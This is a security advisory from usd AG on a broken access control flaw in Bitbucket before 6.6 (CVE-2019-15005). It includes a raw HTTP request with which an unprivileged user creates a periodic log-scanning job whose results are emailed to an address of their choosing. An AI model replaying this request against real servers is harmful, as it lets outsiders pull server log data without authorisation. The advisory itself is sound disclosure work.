usd-2019-0016 | Bitbucket v5.10.1 – Broken Access Control 2
Advisory ID: usd-2019-0016
CVE Number: CVE-2019-15005
Affected Product: Bitbucket
Affected Version: < v6.6
Vulnerability Type: Broken Access Control
Security Risk: High
Vendor URL: https://www.atlassian.com/
Vendor Status: Fixed
Description
Access control, sometimes called authorization, is how a web application grants access to content and functions to some users and not others.
These checks are performed after authentication, and govern what ‘authorized’ users are allowed to do. Access control sounds like a simple problem but is insidiously difficult to implement correctly.
A web application’s access control model is closely tied to the content and functions that the site provides. In addition, the users may fall into a number of groups or roles with different abilities or privileges.
Proof of Concept (PoC)
Inside the endpoint „/rest/troubleshooting/latest/hercules/periodicScanner/settings“ an administrator can create a job for scanning logfiles periodicaly.
Unpriviliged users don’t have access to the GUI which configures such jobs. But unprivileged users can successfully send a request to create a scanning job.
In particular they can state an email address, to which the results will be send.
Request (send from an normal user):
Host: hostname
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Atlassian-Token: no-check
X-Requested-With: XMLHttpRequest
Content-Length: 139
Cookie: BITBUCKETSESSIONID=7C0B64E8BD71F211473E99B718E58CC7;
DNT: 1
Connection: close
atl_token=2b8b95d4b3baba6ae79ceae9139839cbe06a9ca6&enabled=on&start-time-hour=2&start-time-minute=4&frequency=daily&recipients=bla%40bla.de
Response:
HTTP/1.1 200
Vary: Accept-Encoding
Content-Type: application/json
Date: Thu, 07 Mar 2019 11:46:53 GMT
Connection: close
Content-Length: 83
{"feedback":"This job will be run daily starting at 3/8/19 2:04 AM (server time)."}
Fix
Protect endpoints, which provide sensitive functionalities, with proper access control.
Timeline
- 2019-03-28 Vulnerability securely submitted to security@atlassian.com
- 2019-08-27 Atlassian releases Bitbucket 6.6.0 which addresses the vulnerability
- 2019-10-21 First Published
Credits
This security vulnerabilities were found by Tobias Neitzel and Julian Frey of usd AG.